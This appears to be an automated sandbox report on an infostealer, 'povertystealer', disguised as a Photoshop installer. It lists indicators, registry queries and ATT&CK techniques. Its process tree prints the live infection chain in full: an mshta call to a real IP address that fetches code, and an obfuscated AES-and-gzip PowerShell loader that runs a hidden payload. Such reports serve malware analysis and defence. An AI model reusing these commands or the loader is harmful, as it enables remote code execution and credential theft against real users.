povertystealer | 704c6726ac624046f3a428f5dd6c1e461d9172cea5cdb313f176d361454a0419

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
2440	Photoshop_Set-Up.exe
3168	Lyrufos.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000800000002323f-55.dat	upx
behavioral1/files/0x000800000002323f-60.dat	upx
behavioral1/memory/2440-61-0x0000000000620000-0x0000000000F72000-memory.dmp	upx
behavioral1/memory/2440-101-0x0000000000620000-0x0000000000F72000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Vss\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3860	2440	WerFault.exe	98

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Photoshop_Set-Up.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Photoshop_Set-Up.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Photoshop_Set-Up.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Photoshop_Set-Up.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Photoshop_Set-Up.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Photoshop_Set-Up.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Photoshop_Set-Up.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	Photoshop_Set-Up.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Photoshop_Set-Up.exe = "11001"	Photoshop_Set-Up.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
2336	powershell.exe
2336	powershell.exe
4932	powershell.exe
4932	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2440	Photoshop_Set-Up.exe
2440	Photoshop_Set-Up.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 3680	1488	cmd.exe	88
PID 1488 wrote to memory of 3680	1488	cmd.exe	88
PID 3680 wrote to memory of 4468	3680	forfiles.exe	89
PID 3680 wrote to memory of 4468	3680	forfiles.exe	89
PID 4468 wrote to memory of 3076	4468	powershell.exe	90
PID 4468 wrote to memory of 3076	4468	powershell.exe	90
PID 3076 wrote to memory of 2336	3076	mshta.exe	93
PID 3076 wrote to memory of 2336	3076	mshta.exe	93
PID 2336 wrote to memory of 4932	2336	powershell.exe	95
PID 2336 wrote to memory of 4932	2336	powershell.exe	95
PID 4932 wrote to memory of 2440	4932	powershell.exe	98
PID 4932 wrote to memory of 2440	4932	powershell.exe	98
PID 4932 wrote to memory of 2440	4932	powershell.exe	98
PID 4932 wrote to memory of 3168	4932	powershell.exe	99
PID 4932 wrote to memory of 3168	4932	powershell.exe	99
PID 4932 wrote to memory of 3168	4932	powershell.exe	99

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\photoshop.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://91.92.251.35/Downloads/Lar/photoshop
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    start mshta http://91.92.251.35/Downloads/Lar/photoshop
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" http://91.92.251.35/Downloads/Lar/photoshop
      4⤵
      Blocklisted process makes network request
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $Doaj = 'AAAAAAAAAAAAAAAAAAAAADers9PJ6xlLVT2iLiiCmurb7hNHS+bm86DyHQOtaEEHn6mCk19MuBdMWsWswZGThsWoEjZ3M2IsES6Ta+W7eVI9GxPAHKsNBidWfPy5Jjn8oHZyyldy5uSyuJqR6BazsmvPis8BD1Ize4UFUMayR+UuPK97pbXLIpdixkLzDaSaozRI+su8HTxng9oYCUT8SIDGymBlIPPirk5KwcONV5KcvEGukTi48N4QalFRoheMBLnNCEipodaLmqsqTkpccIJ1sPw/8VQXtaDtSA1nx84ZXPaN6n5x5gS8aGXXdNl80Zd3m3n+jitUAQyOjddZVJUDeL36NKWKafxmZm+IS5KvZJjwbefF0rKJWt3mHJkqzqnMZ/GZwZ7Kmo3FVHRTCMjDoGRBAuLu8bsHd/eweJH/4AuQzCNnMTbm48E8eLcZZMB+1whxlz3o1kHeLqzJFC9Ggbl+u/zoIrnRx6X8B7b5A49pT+vCVod664yu7QrgL5nd+wjhPfMFA5fg0OYvKWbOLaR+daXqVMNTy+pzKCw5btYcoWJwuD+Oq681f8H/BfFpvWqeFQTz0CLL5fezXgWH+exivRzoUVCrxT0lPKG2DMrpgYLKCri3FSvKlgJ8U/iFi+viwK6Ra4kWKteYdtMiB7yptDzhdtgfQDbDE4b7gUsRggRBiZ0an2eprwY+97rw+2bHOEnZDvJCtOayoCWdE27HcETLfLml9AlDAyw2UEqWWuFc0zxwh7lJEi/1k8jDiJu2oYs/ciElJIgjxZhz5HCeYAadPreeY32Ws0AX0FZbW2QREFOIuYJbUbsoC4JhyjWohB/lgSGx+UVx7AqKGYq110GBPcq9KM5W+df+J6s4vobxDlocNaSyV5NjiOIEcA+X9IDDoMVWpj7XDs3B6iVI2LkC0eQ9xOl2hPb9+Z7owOQeyyna6kpwr2ZKY/KhOaTUGHhCR7/y403W8Ne3HI6TmQRoFT4KtikNX5hdWYxrAr/bPpQsR4aoPm0Y';$lOdvDYPo = 'amJEcXN5b0lPZmRjc2xxQUhTbGtrdU5YTEtKeGFETHg=';$XTxbjY = New-Object 'System.Security.Cryptography.AesManaged';$XTxbjY.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XTxbjY.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XTxbjY.BlockSize = 128;$XTxbjY.KeySize = 256;$XTxbjY.Key = [System.Convert]::FromBase64String($lOdvDYPo);$lLqsN = [System.Convert]::FromBase64String($Doaj);$sXEuQEMv = $lLqsN[0..15];$XTxbjY.IV = $sXEuQEMv;$QHNqwuDDj = $XTxbjY.CreateDecryptor();$xXmWRVZMX = $QHNqwuDDj.TransformFinalBlock($lLqsN, 16, $lLqsN.Length - 16);$XTxbjY.Dispose();$VJJYW = New-Object System.IO.MemoryStream( , $xXmWRVZMX );$XqxWhNb = New-Object System.IO.MemoryStream;$LAISYiBmx = New-Object System.IO.Compression.GzipStream $VJJYW, ([IO.Compression.CompressionMode]::Decompress);$LAISYiBmx.CopyTo( $XqxWhNb );$LAISYiBmx.Close();$VJJYW.Close();[byte[]] $VlUkz = $XqxWhNb.ToArray();$DwCaBfh = [System.Text.Encoding]::UTF8.GetString($VlUkz);$DwCaBfh | powershell -
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2336
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
        6⤵
        UAC bypass
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4932
        
        C:\Users\Admin\AppData\Roaming\Photoshop_Set-Up.exe
        
        "C:\Users\Admin\AppData\Roaming\Photoshop_Set-Up.exe"
        7⤵
        Executes dropped EXE
        Checks processor information in registry
        Enumerates system info in registry
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 1860
        8⤵
        Program crash
        
        PID:3860
        
        C:\Users\Admin\AppData\Roaming\Lyrufos.exe
        
        "C:\Users\Admin\AppData\Roaming\Lyrufos.exe"
        7⤵
        Executes dropped EXE
        
        PID:3168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2440 -ip 2440
1⤵
PID:380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

3

System Information Discovery

4

Lateral Movement

Collection

Data from Local System